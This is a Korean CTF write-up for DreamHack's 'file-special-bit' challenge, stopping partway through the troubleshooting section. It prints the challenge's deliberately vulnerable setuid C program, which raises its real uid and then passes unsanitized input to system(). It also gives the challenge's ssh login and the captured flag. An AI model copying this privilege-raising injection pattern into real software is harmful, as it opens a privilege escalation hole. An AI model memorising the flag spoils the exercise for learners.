[๐Ÿฅˆ Silver 4] setuid ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์Šค์Šค๋กœ ์•ˆ์ „์žฅ์น˜๋ฅผ ๋„๋Š” ์ˆœ๊ฐ„ โ€” DreamHack file-special-bit ํ’€์ด

2026-07-28ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 4] setuid ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์Šค์Šค๋กœ ์•ˆ์ „์žฅ์น˜๋ฅผ ๋„๋Š” ์ˆœ๊ฐ„ โ€” DreamHack file-special-bit ํ’€์ด

dream ์†Œ์œ ์˜ setuid ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ argv[1] ์„ ๊ทธ๋Œ€๋กœ "cat %s" ์— ๋ผ์›Œ system() ์œผ๋กœ ๋„˜๊ธด๋‹ค. ๋ณดํ†ต์€ sh ๊ฐ€ ์‹คํ–‰ ์ฆ‰์‹œ euid ๋ฅผ ruid ๋กœ ๋˜๋Œ๋ ค ์ด๋Ÿฐ ์ฃผ์ž…์ด ๋ฌด๋ ฅํ•ด์ง€๋Š”๋ฐ, ์ด ๋ฌธ์ œ๋Š” system() ์ง์ „์— setreuid(geteuid(), geteuid()) ๋กœ real uid ๊นŒ์ง€ ์˜ฌ๋ ค ๋ฒ„๋ ค์„œ sh ๊ฐ€ ๋–จ์–ด๋œจ๋ฆด ๊ถŒํ•œ์„ ๋‚จ๊ธฐ์ง€ ์•Š๋Š”๋‹ค. ๊ฐ™์€ ์ฝ”๋“œ์—์„œ ๊ทธ ํ•œ ์ค„๋งŒ ๋บ€ ๋Œ€์กฐ๊ตฐ์„ ๋งŒ๋“ค์–ด ์ฐจ์ด๋ฅผ ์ง์ ‘ ์ฐ์—ˆ๊ณ , filename ๋ฒ„ํผ๊ฐ€ 10๋ฐ”์ดํŠธ๋ผ ์ „์ฒด ๊ฒฝ๋กœ๊ฐ€ ์ž˜๋ฆฌ๋Š” ๊ฒƒ๋„ gdb ๋กœ ํ™•์ธํ–ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” file-special-bit ๋ถ„๋ฅ˜: misc ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 4 FLAG: DH{22bb569daa84da7bda39cd78607ab31a88958725a52b78d87542425782d9a861}

๋ฌธ์ œ ์„ค๋ช…์€ ๋‘ ์ค„์ด๋‹ค. "์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. dream ์œ ์ €์˜ ๊ถŒํ•œ์œผ๋กœ flag ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”."

ssh ๊ณ„์ • chall / dhbeginnerchall1 ๋กœ ๋“ค์–ด๊ฐ€๋ฉด ๋˜๊ณ , ๋ฐฐํฌ ํŒŒ์ผ์€ chall ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ chall.c ์†Œ์Šค ๋‘˜๋ฟ์ด๋‹ค.

์ œ๋ชฉ์˜ "special bit" ๊ฐ€ ๊ณง ํžŒํŠธ๋‹ค. ํŒŒ์ผ ๊ถŒํ•œ์˜ ํŠน์ˆ˜ ๋น„ํŠธ, ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ setuid ์–˜๊ธฐ๋‹ค.


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…file-special-bit
๋‚œ์ด๋„๐Ÿฅˆ Silver 4
๋ถ„๋ฅ˜misc
์ œ๊ณต ํŒŒ์ผchall (x86-64, no-pie), chall.c
์„œ๋ฒ„ssh chall@host*.dreamhack.games
์ŠคํƒUbuntu 22.04 ยท glibc 2.35 ยท /bin/sh โ†’ dash
ํ•ต์‹ฌ ์ทจ์•ฝ์ setuid ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ system() ์ง์ „์— setreuid ๋กœ real uid ๋ฅผ ์˜ฌ๋ ค, sh ์˜ ๊ถŒํ•œ ๊ฐ•ํ•˜๋ฅผ ์Šค์Šค๋กœ ๋ฌด๋ ฅํ™”

ํ๋ฆ„์€ ์งง๋‹ค. ์†Œ์Šค๋ฅผ ์ฝ๊ณ  argv[1] ์ด ์…ธ ๋ช…๋ น์— ๊ทธ๋Œ€๋กœ ๋“ค์–ด๊ฐ„๋‹ค๋Š” ๊ฑธ ํ™•์ธํ•œ ๋’ค, uid ๋‘ ๊ฐœ๋ฅผ ์ •ํ™•ํžˆ ์ž…๋ ฅํ•ด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜๊ณ , ์„ธ๋ฏธ์ฝœ๋ก ์œผ๋กœ ๋ช…๋ น์„ ํ•˜๋‚˜ ๋ง๋ถ™์—ฌ dream ๊ถŒํ•œ ์…ธ์„ ๋„์šด๋‹ค.



๐Ÿ”ฌ ์ •์ฐฐ โ€” ์„œ๋ฒ„์— ๋ญ๊ฐ€ ์žˆ๋‚˜

๋จผ์ € ssh ๋กœ ๋“ค์–ด๊ฐ€ ํ™ˆ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋ณธ๋‹ค. ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋ฌธ์ œ ์„ค๋ช…์— ๊ณต๊ฐœ๋ผ ์žˆ์œผ๋‹ˆ sshpass ๋กœ ํ•œ ์ค„์— ๋๋‚ธ๋‹ค.

sshpass -p dhbeginnerchall1 ssh -p 10023 \
  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR \
  chall@host3.dreamhack.games 'id; ls -l; ls -ld /home/dream; cat flag'

ssh ๋กœ ๋ถ™์–ด ๋ณธ ์›๊ฒฉ ํ™ˆ โ€” chall ์˜ ๊ถŒํ•œ์ด rwsr-xr-x ๋ผ ์†Œ์œ ์ž ์‹คํ–‰ ๋น„ํŠธ ์ž๋ฆฌ์— setuid ๊ฐ€ ๋ฐ•ํ˜€ ์žˆ๊ณ  ์†Œ์œ ์ž๋Š” dream ์ด๋‹ค
ssh ๋กœ ๋ถ™์–ด ๋ณธ ์›๊ฒฉ ํ™ˆ โ€” chall ์˜ ๊ถŒํ•œ์ด rwsr-xr-x ๋ผ ์†Œ์œ ์ž ์‹คํ–‰ ๋น„ํŠธ ์ž๋ฆฌ์— setuid ๊ฐ€ ๋ฐ•ํ˜€ ์žˆ๊ณ  ์†Œ์œ ์ž๋Š” dream ์ด๋‹ค

์—ฌ๊ธฐ์„œ ๋ณผ ๊ฒŒ ์„ธ ๊ฐ€์ง€๋‹ค.

chall ์˜ ๊ถŒํ•œ์ด -rwsr-xr-x ๋‹ค. ์†Œ์œ ์ž ์‹คํ–‰ ๋น„ํŠธ ์ž๋ฆฌ์— x ๊ฐ€ ์•„๋‹ˆ๋ผ s ๊ฐ€ ๋ฐ•ํ˜€ ์žˆ๋‹ค. ์ด๊ฒŒ setuid ๋น„ํŠธ๊ณ , ์†Œ์œ ์ž๋Š” dream ์ด๋‹ค. ์ฆ‰ ๋‚ด๊ฐ€ ์‹คํ–‰ํ•ด๋„ ํ”„๋กœ์„ธ์Šค์˜ effective uid ๋Š” dream ์ด ๋œ๋‹ค.

flag ๋Š” -r--r----- dream dream ์ด๋‹ค. ์†Œ์œ ์ž์™€ ๊ทธ๋ฃน๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ๋Š”๋ฐ ๋‚˜๋Š” uid=1000(chall) gid=1000(chall) ์ด๋ผ ์–ด๋А ์ชฝ์—๋„ ์•ˆ ๊ฑธ๋ฆฐ๋‹ค. ๊ทธ๋ž˜์„œ cat flag ๊ฐ€ Permission denied ๋กœ ํŠ•๊ธด๋‹ค.

๊ทธ๋ฆฌ๊ณ  flag ๊ฐ€ /home/dream ์ด ์•„๋‹ˆ๋ผ ๋‚ด ํ™ˆ์— ์žˆ๋‹ค. ์ด๊ฒŒ ๋‚˜์ค‘์— ํŽ˜์ด๋กœ๋“œ ๊ธธ์ด ๋ฌธ์ œ์™€ ์–ฝํžŒ๋‹ค.


๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” uid ๋Š” ์„ธ ๊ฐœ๊ณ , sh ๋Š” ๊ทธ๊ฑธ ๋ณธ๋‹ค

๋ฆฌ๋ˆ…์Šค ํ”„๋กœ์„ธ์Šค๋Š” ์‚ฌ์šฉ์ž ID ๋ฅผ ํ•˜๋‚˜๋งŒ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š๋‹ค.

  • real uid (ruid) โ€” ์ด ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹ค์ œ๋กœ ๋„์šด ์‚ฌ๋žŒ. ์—ฌ๊ธฐ์„  chall.
  • effective uid (euid) โ€” ๊ถŒํ•œ ๊ฒ€์‚ฌ์— ์‹ค์ œ๋กœ ์“ฐ์ด๋Š” ๊ฐ’. setuid ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋ฉด ํŒŒ์ผ ์†Œ์œ ์ž๋กœ ๋ฐ”๋€๋‹ค.
  • saved set-user-ID (suid) โ€” euid ๋ฅผ ์ž ๊น ๋‚ด๋ ธ๋‹ค๊ฐ€ ๋˜๋Œ๋ฆด ์ˆ˜ ์žˆ๊ฒŒ ๋ณด๊ด€ํ•ด ๋‘๋Š” ๊ฐ’.

setuid ๋น„ํŠธ๊ฐ€ ๋ถ™์€ ํŒŒ์ผ์„ execve ํ•˜๋ฉด euid ์™€ suid ๊ฐ€ ํŒŒ์ผ ์†Œ์œ ์ž(dream)๋กœ ์„ธํŒ…๋˜๊ณ , ruid ๋งŒ ์›๋ž˜ ์‚ฌ์šฉ์ž(chall)๋กœ ๋‚จ๋Š”๋‹ค. ํŒŒ์ผ ๊ถŒํ•œ ๊ฒ€์‚ฌ๋Š” euid ๋กœ ํ•˜๋ฏ€๋กœ, ์ด ํ”„๋กœ์„ธ์Šค๋Š” dream ์˜ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ๋‹ค.

๋ฌธ์ œ๋Š” ๊ทธ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์…ธ์„ ๋ถ€๋ฅผ ๋•Œ ์ƒ๊ธด๋‹ค. system() ์€ /bin/sh -c "..." ๋ฅผ ์ƒˆ๋กœ ๋„์šฐ๋Š”๋ฐ, sh ์ž…์žฅ์—์„œ๋Š” ์ž๊ธฐ๊ฐ€ setuid ํ”„๋กœ๊ทธ๋žจ์— ์–นํ˜€ ์‹คํ–‰๋๋Š”์ง€ ์•Œ ๊ธธ์ด ์—†๋‹ค. ๊ทธ๋ž˜์„œ dash ๋Š” ์‹œ์ž‘ํ•  ๋•Œ euid ์™€ ruid ๊ฐ€ ๋‹ค๋ฅด๋ฉด euid ๋ฅผ ruid ๋กœ ๋˜๋Œ๋ ค ๋ฒ„๋ฆฐ๋‹ค. man ํŽ˜์ด์ง€์— ๊ทธ ์ด์œ ๊ฐ€ ๊ทธ๋Œ€๋กœ ์ ํ˜€ ์žˆ๋‹ค.

man dash | grep -B1 -A5 -- "-p priviliged"

man dash โ€” setuid ํ”„๋กœ๊ทธ๋žจ์˜ system(3) ์˜ค์šฉ์„ ๋ง‰์œผ๋ ค ๊ธฐ๋ณธ์œผ๋กœ euid ๋ฅผ ๋˜๋Œ๋ฆฐ๋‹ค๋Š” ์„ค๋ช…
man dash โ€” setuid ํ”„๋กœ๊ทธ๋žจ์˜ system(3) ์˜ค์šฉ์„ ๋ง‰์œผ๋ ค ๊ธฐ๋ณธ์œผ๋กœ euid ๋ฅผ ๋˜๋Œ๋ฆฐ๋‹ค๋Š” ์„ค๋ช…

"setuid root ํ”„๋กœ๊ทธ๋žจ์ด system(3) ์ด๋‚˜ popen(3) ์„ ์ž˜๋ชป ์“ฐ๋Š” ๊ฑธ ๋ง‰์œผ๋ ค๊ณ  ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ์ผœ ๋‘”๋‹ค"๋Š” ๋ฌธ์žฅ์ด๋‹ค. ์ด ์•ˆ์ „์žฅ์น˜ ๋•๋ถ„์— ๋ณดํ†ต์€ setuid ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋ช…๋ น ์ฃผ์ž…์ด ๋‚˜๋„ ๊ถŒํ•œ๊นŒ์ง€ ๋”ฐ๋ผ์˜ค์ง€๋Š” ์•Š๋Š”๋‹ค.

์ด ๋ฌธ์ œ์˜ ์ฝ”๋“œ๋Š” ๊ทธ ์žฅ์น˜๋ฅผ ์ •ํ™•ํžˆ ๋น„๊ปด๊ฐ„๋‹ค.


๐Ÿ”Ž ์ฝ”๋“œ์™€ ๋ฐ”์ด๋„ˆ๋ฆฌ

์ œ๊ณต๋œ ์†Œ์Šค๋Š” ์ด๊ฒŒ ์ „๋ถ€๋‹ค.

//Name: chall.c
//Compile: gcc chall.c -o chall -no-pie -fno-stack-protector
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
        if(argc == 2){
                char filename[10];
                char cmd[20];
                int ruid = 0;
                int euid = 0;
                memcpy(filename, argv[1], sizeof(filename));
                snprintf(cmd, 19, "cat %s", filename);
                printf("Your ruid : \n");
                scanf("%d", &ruid);
                printf("Your euid : \n");
                scanf("%d", &euid);
                if(ruid == getuid() && euid == geteuid()) {
                    setreuid(geteuid(), geteuid());
                    printf("Your ruid : %d Your euid : %d\n", getuid(), geteuid());
                    system(cmd);
                } else {
                    printf("No.\n");
                }
 
        }
        else {
            printf("argument...\n");
        }
        return 0;
}

์ฝ์ž๋งˆ์ž ๊ฑธ๋ฆฌ๋Š” ๊ฒŒ ๋‘ ๊ฐœ๋‹ค. argv[1] ์ด ์•„๋ฌด ๊ฒ€์‚ฌ ์—†์ด "cat %s" ์— ๋“ค์–ด๊ฐ€ system() ์œผ๋กœ ๋„˜์–ด๊ฐ„๋‹ค๋Š” ๊ฒƒ, ๊ทธ๋ฆฌ๊ณ  system() ๋ฐ”๋กœ ์•ž์— setreuid(geteuid(), geteuid()) ๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ.

๋ฐฐํฌ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ •๋ง ์ด ์†Œ์Šค์™€ ๊ฐ™์€์ง€๋ถ€ํ„ฐ ํ™•์ธํ•œ๋‹ค.

file chall; readelf -h chall | grep -E "Type|Entry"; nm -D chall

file, readelf, nm ์œผ๋กœ ํ™•์ธํ•œ chall โ€” PIE ๊ฐ€ ์•„๋‹Œ EXEC ์ด๊ณ  ์ž„ํฌํŠธ์— getuid, geteuid, setreuid, system ์ด ๊ทธ๋Œ€๋กœ ์žˆ๋‹ค
file, readelf, nm ์œผ๋กœ ํ™•์ธํ•œ chall โ€” PIE ๊ฐ€ ์•„๋‹Œ EXEC ์ด๊ณ  ์ž„ํฌํŠธ์— getuid, geteuid, setreuid, system ์ด ๊ทธ๋Œ€๋กœ ์žˆ๋‹ค

EXEC ํƒ€์ž…์ด๋ผ PIE ๊ฐ€ ์•„๋‹ˆ๋‹ค. ์ฃผ์†Œ๊ฐ€ ๊ณ ์ •์ด๋‹ˆ ๋‚˜์ค‘์— gdb ๋กœ ๋ธŒ๋ ˆ์ดํฌ ๊ฑธ ๋•Œ ํŽธํ•˜๋‹ค. ์ž„ํฌํŠธ์— getuid ยท geteuid ยท setreuid ยท snprintf ยท system ์ด ๊ทธ๋Œ€๋กœ ์žˆ๊ณ , memcpy ๋Š” ํฌ๊ธฐ๊ฐ€ ์ƒ์ˆ˜๋ผ ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ์ธ๋ผ์ธํ•ด ๋ฒ„๋ ค์„œ ์•ˆ ๋ณด์ธ๋‹ค. ์†Œ์Šค์™€ ์–ด๊ธ‹๋‚˜๋Š” ๋ถ€๋ถ„์€ ์—†๋‹ค.

__libc_start_main@GLIBC_2.34 ๋ฅผ ์š”๊ตฌํ•˜๋ฏ€๋กœ ๋นŒ๋“œ ํ™˜๊ฒฝ์€ Ubuntu 22.04 ๊ณ„์—ด์ด๋‹ค. ๋กœ์ปฌ ์žฌํ˜„ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ๊ทธ ๋ฒ„์ „์œผ๋กœ ๋งž์ถฐ์•ผ ํ•œ๋‹ค๋Š” ๋œป์ด๊ธฐ๋„ ํ•˜๋‹ค.

๋ฒ„ํผ ํฌ๊ธฐ๋ฅผ ๋ช…๋ น ๋‹จ์œ„๋กœ ํ™•์ธ

์†Œ์Šค์— ์ ํžŒ 10 ๊ณผ 19 ๊ฐ€ ์‹ค์ œ๋กœ ์–ด๋–ค ๋ช…๋ น์ด ๋๋Š”์ง€ ๋ณธ๋‹ค. ์ฃผ์„์€ sed ๊ทœ์น™ ํŒŒ์ผ๋กœ ์–น๋Š”๋‹ค โ€” --cmd ์•ˆ์— ์ธ๋ผ์ธ์œผ๋กœ ๋„ฃ์œผ๋ฉด ๋”ฐ์˜ดํ‘œ๊ฐ€ zsh ๋ฅผ ์ง€๋‚˜๋ฉฐ ๊นจ์ง„๋‹ค.

# annot.sed โ€” objdump ์ถœ๋ ฅ์— ์ฃผ์„๋งŒ ์–น๋Š”๋‹ค. ๋ช…๋ นยท์ฃผ์†Œ๋Š” ์†๋Œ€์ง€ ์•Š๋Š”๋‹ค.
/^  40124a:/s/$/        <-- rax = argv[1]/
/^  40124d:/s/$/        <-- argv[1] ์•ž 8๋ฐ”์ดํŠธ/
/^  401250:/s/$/        <-- filename[0..7]  (rbp-0x1a)/
/^  401254:/s/$/        <-- argv[1][8..9]  2๋ฐ”์ดํŠธ ๋”/
/^  401258:/s/$/        <-- filename[8..9] = memcpy 10๋ฐ”์ดํŠธ ๋/
/^  401260:/s/$/        <-- rdi = cmd  (rbp-0x30)/
/^  40126e:/s/$/        <-- esi = 0x13 = snprintf ์ƒํ•œ 19/
/^  40127b:/s/$/        <-- snprintf(cmd, 19, "cat %s", filename)/
/^  4012d4:/s/$/        <-- getuid()/
/^  4012dc:/s/$/        <-- ๋‚ด๊ฐ€ ๋„ฃ์€ ruid ์™€ ๋น„๊ต/
/^  4012e0:/s/$/        <-- geteuid()/
/^  4012e8:/s/$/        <-- ๋‚ด๊ฐ€ ๋„ฃ์€ euid ์™€ ๋น„๊ต/
/^  4012fc:/s/$/        <-- setreuid(dream, dream)  real uid ๊นŒ์ง€ dream/
/^  40132c:/s/$/        <-- system(cmd)  ์—ฌ๊ธฐ์„œ \/bin\/sh ๋กœ/
objdump -d --no-show-raw-insn -M intel \
  --start-address=0x401242 --stop-address=0x401280 chall | tail -n +8 | sed -f annot.sed

objdump ๋กœ ๋ณธ ์•ž๋ถ€๋ถ„ โ€” memcpy ๊ฐ€ 8๋ฐ”์ดํŠธ์™€ 2๋ฐ”์ดํŠธ๋กœ ํŽผ์ณ์ ธ 10๋ฐ”์ดํŠธ๋ฟ์ด๊ณ  snprintf ์ƒํ•œ์€ 0x13 ์ฆ‰ 19๋‹ค
objdump ๋กœ ๋ณธ ์•ž๋ถ€๋ถ„ โ€” memcpy ๊ฐ€ 8๋ฐ”์ดํŠธ์™€ 2๋ฐ”์ดํŠธ๋กœ ํŽผ์ณ์ ธ 10๋ฐ”์ดํŠธ๋ฟ์ด๊ณ  snprintf ์ƒํ•œ์€ 0x13 ์ฆ‰ 19๋‹ค

memcpy ๊ฐ€ mov QWORD PTR [rbp-0x1a],rdx ์™€ mov WORD PTR [rbp-0x12],ax ๋‘ ๊ฐœ๋กœ ํŽผ์ณ์กŒ๋‹ค. 8๋ฐ”์ดํŠธ + 2๋ฐ”์ดํŠธ = 10๋ฐ”์ดํŠธ๋‹ค. filename ์€ rbp-0x1a ์— ์žˆ๋‹ค.

๊ทธ ์•„๋ž˜ mov esi,0x13 ์ด snprintf ์˜ ํฌ๊ธฐ ์ธ์ž๋‹ค. 0x13 = 19. cmd ๋Š” rbp-0x30 ์ด๋‹ค.

์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ ๊ฑด memcpy ๊ฐ€ ๊ธธ์ด๋ฅผ ํ•ญ์ƒ 10 ์œผ๋กœ ๊ณ ์ •ํ•œ๋‹ค๋Š” ์ ์ด๋‹ค. argv[1] ์ด ์งง์œผ๋ฉด ๊ทธ ๋„ˆ๋จธ๊นŒ์ง€ ์ฝ๊ณ , ๊ธธ๋ฉด 10๋ฐ”์ดํŠธ์—์„œ ์ž๋ฅธ๋‹ค. ์–ด๋А ์ชฝ์ด๋“  filename ์— NUL ์ด ๋“ค์–ด๊ฐ„๋‹ค๋Š” ๋ณด์žฅ์ด ์—†๋‹ค.

๊ถŒํ•œ ์ชฝ๋„ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ๋ณธ๋‹ค.

objdump -d --no-show-raw-insn -M intel \
  --start-address=0x4012d4 --stop-address=0x401331 chall | tail -n +8 | sed -f annot.sed

objdump ๋กœ ๋ณธ ๊ถŒํ•œ ๊ฒ€์‚ฌ โ€” getuid ์™€ geteuid ๊ฒฐ๊ณผ๋ฅผ ๋‚ด๊ฐ€ ๋„ฃ์€ ๊ฐ’๊ณผ ๋น„๊ตํ•˜๊ณ , ํ†ต๊ณผํ•˜๋ฉด setreuid ๋’ค system ์„ ๋ถ€๋ฅธ๋‹ค
objdump ๋กœ ๋ณธ ๊ถŒํ•œ ๊ฒ€์‚ฌ โ€” getuid ์™€ geteuid ๊ฒฐ๊ณผ๋ฅผ ๋‚ด๊ฐ€ ๋„ฃ์€ ๊ฐ’๊ณผ ๋น„๊ตํ•˜๊ณ , ํ†ต๊ณผํ•˜๋ฉด setreuid ๋’ค system ์„ ๋ถ€๋ฅธ๋‹ค

getuid() ๊ฒฐ๊ณผ๋ฅผ ๋‚ด๊ฐ€ ๋„ฃ์€ ruid ์™€, geteuid() ๊ฒฐ๊ณผ๋ฅผ euid ์™€ ๋น„๊ตํ•œ๋‹ค. ๋‘˜ ์ค‘ ํ•˜๋‚˜๋ผ๋„ ๋‹ค๋ฅด๋ฉด No. ๋กœ ๋น ์ง„๋‹ค. ํ†ต๊ณผํ•˜๋ฉด geteuid() ๋ฅผ ๋‘ ๋ฒˆ ๋ถˆ๋Ÿฌ ๊ทธ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ setreuid ์— ๋„˜๊ธฐ๊ณ , ๊ณง๋ฐ”๋กœ system(cmd) ๋‹ค.

์ด ๊ฒ€์‚ฌ๋Š” ์‚ฌ์‹ค์ƒ ์•„๋ฌด๊ฒƒ๋„ ๋ง‰์ง€ ์•Š๋Š”๋‹ค. ๊ฐ’์„ ๋งžํžˆ๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ๋‚ด๊ฐ€ ์ง€๊ธˆ ๋ช‡ ๋ฒˆ uid ์ธ์ง€ ์•Œ๊ณ  ์žˆ๋А๋ƒ๋ฅผ ๋ฌป๋Š” ๊ฒƒ๋ฟ์ด๋ผ, id -u ์™€ ๋ฐ”์ด๋„ˆ๋ฆฌ ์†Œ์œ ์ž๋งŒ ๋ณด๋ฉด ๋œ๋‹ค.


๐Ÿงช ๋Ÿฐํƒ€์ž„์œผ๋กœ ํ™•์ธ โ€” cmd ์— ์‹ค์ œ๋กœ ๋ญ๊ฐ€ ๋“ค์–ด๊ฐ€๋‚˜

์ •์ ์œผ๋กœ ์ฝ์€ ์˜คํ”„์…‹์ด ์‹คํ–‰ ์ค‘์—๋„ ๋งž๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ๊ธด ๊ฒฝ๋กœ๋ฅผ ๋„ฃ์œผ๋ฉด ์ •ํ™•ํžˆ ์–ด๋””์„œ ์ž˜๋ฆฌ๋Š”์ง€ gdb ๋กœ ๋ณธ๋‹ค. no-pie ๋ผ 0x40132c(system ํ˜ธ์ถœ)์— ๊ทธ๋Œ€๋กœ ๋ธŒ๋ ˆ์ดํฌ๋ฅผ ๊ฑธ ์ˆ˜ ์žˆ๋‹ค.

# cmds.gdb โ€” system(cmd) ํ˜ธ์ถœ ์ง์ „์— ๋ฉˆ์ถฐ ์Šคํƒ์— ์‹ค์ œ๋กœ ๋ญ๊ฐ€ ๋“ค์–ด๊ฐ”๋Š”์ง€ ๋ณธ๋‹ค.
set confirm off
set pagination off
 
break *0x40132c
run /home/dream/flag < uids.txt
 
printf "\n--- system() ์ง์ „ ์Šคํƒ ---\n"
printf "filename[10] @ rbp-0x1a : %s\n", (char *)($rbp-0x1a)
printf "cmd[20]      @ rbp-0x30 : %s\n", (char *)($rbp-0x30)
printf "system() ์ธ์ž rdi       : %s\n", (char *)$rdi
printf "\ncmd ๋ฒ„ํผ ์›๋ณธ 20๋ฐ”์ดํŠธ:\n"
x/20bx $rbp-0x30
printf "\nfilename ๋ฒ„ํผ 10๋ฐ”์ดํŠธ + ๊ทธ ๋’ค 6๋ฐ”์ดํŠธ (๋์— NUL ์ด ์žˆ๋‚˜?):\n"
x/16bx $rbp-0x1a
continue

uids.txt ์—๋Š” ๋กœ์ปฌ uid ๋ฅผ ๋‘ ์ค„๋กœ ๋„ฃ์–ด ๋‘”๋‹ค. ๋กœ์ปฌ ์‚ฌ๋ณธ์€ setuid ๊ฐ€ ์•„๋‹ˆ๋ผ์„œ getuid() ์™€ geteuid() ๊ฐ€ ๊ฐ™์€ ๊ฐ’์ด๋‹ค.

printf '1000\n1000\n' > uids.txt
gdb -q -batch -x cmds.gdb ./chall

gdb ๋กœ system ์ง์ „์— ๋ฉˆ์ถฐ ๋œฌ ๋ฒ„ํผ โ€” ๊ฒฝ๋กœ๊ฐ€ 10์นธ์—์„œ ์ž˜๋ ค NUL ์—†์ด ๊ฝ‰ ์ฐจ ์žˆ๊ณ  ๋ฐ”๋กœ ๋’ค ๋ฐ”์ดํŠธ๊ฐ€ ์ด์–ด์ ธ ๋ณด์ธ๋‹ค
gdb ๋กœ system ์ง์ „์— ๋ฉˆ์ถฐ ๋œฌ ๋ฒ„ํผ โ€” ๊ฒฝ๋กœ๊ฐ€ 10์นธ์—์„œ ์ž˜๋ ค NUL ์—†์ด ๊ฝ‰ ์ฐจ ์žˆ๊ณ  ๋ฐ”๋กœ ๋’ค ๋ฐ”์ดํŠธ๊ฐ€ ์ด์–ด์ ธ ๋ณด์ธ๋‹ค

/home/dream/flag ๋ฅผ ๋„ฃ์—ˆ๋Š”๋ฐ filename ์—๋Š” /home/drea ๋งŒ ๋“ค์–ด๊ฐ”๋‹ค. ๋ฐ”์ดํŠธ ๋คํ”„๋ฅผ ๋ณด๋ฉด 10์นธ์ด ์ „๋ถ€ ๊ฒฝ๋กœ ๊ธ€์ž๋กœ ์ฐจ ์žˆ๊ณ  NUL ์ด ์—†๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋ฐ”๋กœ ๋’ค 6๋ฐ”์ดํŠธ๊ฐ€ ์ „๋ถ€ 0x00 ์ด๋ผ snprintf ๊ฐ€ ๊ฑฐ๊ธฐ์„œ ๋ฉˆ์ท„๊ณ , ๊ฒฐ๊ณผ์ ์œผ๋กœ cmd ๋Š” cat /home/drea ๊ฐ€ ๋๋‹ค.

system() ์— ๋„˜์–ด๊ฐ€๋Š” rdi ๋„ ๊ฐ™์€ ๋ฌธ์ž์—ด์ด๋‹ค. ์ •์  ๋ถ„์„์—์„œ ์งš์€ rbp-0x1a / rbp-0x30 ์ด ๋Ÿฐํƒ€์ž„์—์„œ๋„ ๊ทธ๋Œ€๋กœ๋‹ค.

์ฒซ ์ธ์ž๊ฐ€ filename 10๋ฐ”์ดํŠธ๋กœ ์ž˜๋ฆฐ ๋’ค cmd ๋กœ ์˜ฎ๊ฒจ์ง€๋Š” ๊ณผ์ •
์ฒซ ์ธ์ž๊ฐ€ filename 10๋ฐ”์ดํŠธ๋กœ ์ž˜๋ฆฐ ๋’ค cmd ๋กœ ์˜ฎ๊ฒจ์ง€๋Š” ๊ณผ์ •

์ •๋ฆฌํ•˜๋ฉด ๋‚ด๊ฐ€ ์“ธ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž์—ด์€ 10๋ฐ”์ดํŠธ๋‹ค. cat 4๊ธ€์ž๊ฐ€ ์•ž์— ๋ถ™์–ด๋„ 19๋ฐ”์ดํŠธ ์ƒํ•œ์—๋Š” ์—ฌ์œ ๊ฐ€ ์žˆ์œผ๋‹ˆ, ์ง„์งœ ์ œ์•ฝ์€ snprintf ๊ฐ€ ์•„๋‹ˆ๋ผ memcpy ์ชฝ์ด๋‹ค.



๐Ÿ› ์‚ฝ์งˆ

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” uid ๋‘ ๊ฐœ๋ฅผ ๋ญ˜ ๋„ฃ์–ด์•ผ ํ•˜๋Š”์ง€ ๋ชฐ๋ผ ํ—ค๋งธ๋‹ค

ruid == getuid() && euid == geteuid() ๋ฅผ ๋ณด๊ณ  ์ฒ˜์Œ์—” ๋‘˜ ๋‹ค ๋‚ด uid(1000)๋ฅผ ๋„ฃ์—ˆ๋‹ค. ๋‹น์—ฐํžˆ No. ๋‹ค.

